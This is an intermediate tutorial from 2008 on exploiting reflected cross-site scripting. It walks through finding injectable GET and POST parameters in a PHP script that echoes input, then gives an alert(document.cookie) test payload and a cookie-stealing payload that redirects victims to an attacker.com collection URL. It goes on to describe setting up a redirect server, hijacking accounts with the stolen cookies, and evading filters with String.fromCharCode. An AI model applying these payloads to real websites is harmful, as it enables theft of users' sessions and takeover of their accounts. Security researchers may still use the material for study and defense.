



Learning to Leverage XSS:: Technical Document

Jason Medeiros :: Grayscale Research 2008

Course Difficulty: » **Intermediate**

Mission Objective::

- » Evaluating custom code for injection points
- » Retrieve pre-exploitation reconnaissance for conditions
- » Compromise a users credentials using trust and redirects
- » Examine the actual exploitation of a vulnerable host

Prerequisites:

- » Moderate to Strong understanding of the JavaScript programming language.

Vulnerability Discovery: Theory

- Evaluating likely injection points for flaws is done typically by identifying the sites mechanisms for passing GET or POST variables for unparsed html characters.
- Search website pages for any signs of convention, typically a site will use the [?] character to indicate the beginning of an argument string, followed by [var=value] combinations.

Variable Injection » GET vs. POST

[✖ Differences ✖]

GET and POST are typically (outside of cookies) the primary method that web hosts will use to communicate information. GET styled variables are embedded into URLs and POST variables are sent via HTTP/POST.

[✖ Important ✖]

URL Embedded XSS, which is the focus of this presentation is best demonstrated using variables encoded utilizing the GET method.

Variable Identification » HTTP Forms

[Forms: **Tactical Assessment**] »

The quickest way to extract variable information from a targeted site initially, is to evaluate its HTTP forms. Often times these forms contain hidden values and numeric only values that can be abused by a remote attacker. Look for these forms in interactive site pages which could have the potential to return posted information as a result.

Tool Mention:

Tamper Data (Firefox Plugin, allows for the altering of POST data)

Code Example: Translating Forms to GET Strings

<!-- Simple Form: Contains two variables, id, and query.

the query as it would be processed is shown below. BADVALUE represents an attacker supplied value.

<http://www.site.com/getItems.php?id=BADVALUE&query=BADVALUE>

-- >

```
<form method="GET" target=getItems.php>
```

```
  <input type=hidden name=id>
```

```
  <input type=textbox name=query>
```

```
  <input type=submit value="SEARCH">
```

```
</form>
```

Variable Identification » GET Strings

[Anchors: **Tactical Assessment**] »

Another simple way to find potential attack vectors is to analyze page anchors for embedded GET variables. Parsing a target page for anything that resembles a link is a good avenue to find embedded strings.

Tool Mention:

Hackbar Firefox Addon (Auto-GET string splitting, multiple encoders)

Code Example: Translating Anchored GET Strings

<!-- Simple Anchor: Contains two variables, id, and query.
the anchor would appear as the following HTTP form.

```
<form method="GET" target=getItems.php>  
  <input type=hidden name=id>  
  <input type=textbox name=query>  
  <input type=submit value="SEARCH">  
</form>
```

-- >

```
<a href= "http://www.site.com/getItems.php?  
id=BADVALUE&query=BADVALUE">
```

Code Injection » Variable Abuse

[Page Return: **Content Parsing**] »

After you identify page variables, the next logical step is to begin injecting into them to see if you can alter the page content in your favor. While injecting into variables its important to check page content after every submit. Search the content for any strings that were injected. **The objective is to manipulate get strings in a way that, you can print code directly as html into the page.**

Code Example: Catching an Injection

<!--

getItems.php Script Is as Follows:

```
<?PHP
```

```
    print("OUTPUT:<BR>");  
    print("ID = ".$_GET['id']);  
    print("QUERY = ".$_GET['query']);
```

```
?>
```

When either variable is passed to the getItems.php script, the PHP engine prints them directly to the page w/o any parsing.

Attack URL:

[http://www.site.com/getItems.php?id=<script>alert\(document.cookie\);</script>](http://www.site.com/getItems.php?id=<script>alert(document.cookie);</script>)

-- >

```
OUTPUT:<br>
```

```
ID = <script>alert(document.cookie);</script>
```

```
QUERY =
```

Code Injection » Cookies

[Running Code: **Targeting the Cookie**] »

Typically, in a cross site scripting scenario, the goal will be to retrieve a site users valid cookie. Cookies are often considered trusted resources between a site and client, performing seamless authentication while a site user is logged in or until the session times out.

Retrieving a users cookie is as simple as often as simple as tricking them into visiting a redirect page.

Code Example: Redirect Back

<!--

The same getItem.php script can be used to steal a remote users cookie by arbitrarily redirecting users to the vulnerable page.

Modified Attack URL: `http://www.site.com/getItems.php?id=<script>location.href = "http://www.attacker.com/collect?cookie="+document.cookie;</script>`

-- >

OUTPUT:

ID = <script> location.href =

`"http://www.attacker.com/collect?cookie="+document.cookie;</script>`

QUERY =

Redirection Attack » Scenario

[Attack Method: **Redirect to Embedded Redirect**] »

The easiest method of attack and often best for gaining leverage is to set up a faux redirect page. This page effectively will bounce the unlucky user to a page with GET encoded XSS, which will then run its code to retrieve the cookie in the context of the vulnerable page. This value is then encoded into a GET variable which is sent back to the original attacker controlled redirect server.

Redirection Attack » Possibilities.

Once retrieved, the attackers server application can do what it wants with the users cookie, typically emailing it to an immediate alarm email inbox or storing it for retrieval. There are many variations on this method, including using XMLRPC, hiding the requests in Frames/iFrames, and even setting up series of frames to attack multiple sites simultaneously.

Exploit Completion » Hijack Account

Once a cookie has been retrieved, it can be imported in a text file into any browser using the browsers built in cookie importing functionality. Once imported, often enough an attacker will be automatically authenticated into the vulnerable site, and have the ability to make account modifications and such with the privileges of that session.

Tips and Tricks » String Class

At times a site will parse out certain characters using filters, by far often enough the best solution is to employ the `String.fromCharCode()` method to encode strings.

Using `String.fromCharCode` you can encode full strings using decimal ascii code representations. See www.asciitable.com for a full table to decimal translation.

Tips and Tricks » Outside Information

Probably the best resource available for XSS attack obfuscation can be found at:

<http://ha.ckers.org/xss.html>

Almost every browser is accounted for, with multiple variations on XSS that can be invaluable when rooting out sinister bugs. Thanks and credit go to RSnake for this comprehensive listing of avenues.

Current Spin » Community Opinion

As of recently, the technical merit of XSS has come under fire. Full-Disclosure has begun to suggest that because XSS is not associated with machine level exploitation, that cross site scripting is not valuable. This could not be farther from the truth; utilizing this technology has yielded unbelievable levels of compromise in the past when the vulnerabilities were found on corporate SSO pages. Entire networks, compromised, because of cross site scripting. The truth is that these vulnerabilities are real, and they are everywhere.